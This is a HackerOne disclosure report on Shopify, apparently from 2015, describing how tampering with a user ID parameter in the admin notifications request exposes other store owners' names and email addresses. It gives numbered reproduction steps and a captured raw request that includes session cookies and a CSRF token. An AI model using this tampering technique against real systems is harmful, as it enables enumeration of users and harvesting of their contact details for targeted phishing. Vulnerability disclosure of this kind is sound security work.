Shopify: Notification request disclose private information about other myshopify accounts

ID H1:56936
Type hackerone
Reporter dvl
Modified 2015-09-24T03:24:56


Hello Attacker, using notification feature in Admin panel, can successfully disclose\enumerate Shopify customers and retrieve their user-id, first+last name and email address. Last part of information is most avluble piece of information, since it can be used to conduct targeted attack on Shopify customers [via email] to infect end-user machines and\or gain access to Shopify accounts.


  1. Login as Attacker to
  2. Go to Settings/Notifications/Order notifications" and create new notification for Stuff member. Choose Yourself
  3. Capture request and see new notification created.
  4. In captured request, alter order_subscription%5Border_subscription_type%5D value in this case Attacker replace his ID with victim ID
  5. Attacker observe " notifications" 5.1 In case User ID is not registered\valid - another Notification showed in list with Attacker UserID. 5.2 In case User ID is registered\valid - in list of Notifications appear new Victim "Stuff member" , with First + Last name and email address, as registered in Victim profile in his settings.

On screenshot attached:

Rama Kama is Attacker and owner of this store, and Victim is owner of totally different store, which ID was spoofed to system.

Request example:

POST /admin/order_subscriptions HTTP/1.1 Accept: text/html, application/xhtml+xml, application/xml X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-XHR-Referer: X-CSRF-Token: f25hau8h3JWDKUqYJvG2sYPAUMXDsieiueb5dr4GsUU= Referer: Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Host: Content-Length: 258 DNT: 1 Connection: Keep-Alive Cache-Control: no-cache Cookie: __utma=1.2093583371.1428608245.1429207096.1429250267.13; __utmz=1.1428609079.2.2.utmcsr=cio|utmccn=welcome_online|utmcmd=email|utmcct=log_in_store_btn; _ga=GA1.2.2093583371.1428608245; __mmapiwsid=30D865E4-E464-11E4-91DC-547B559CF7BD:8f1edbf6d83d5ddc80b7a3d442de809495f02f1b; __utmb=; _gat=1; __utmc=1; _secure_admin_session_id=a5dcb62e34ad0ccde4c785efe915374e; request_method=GET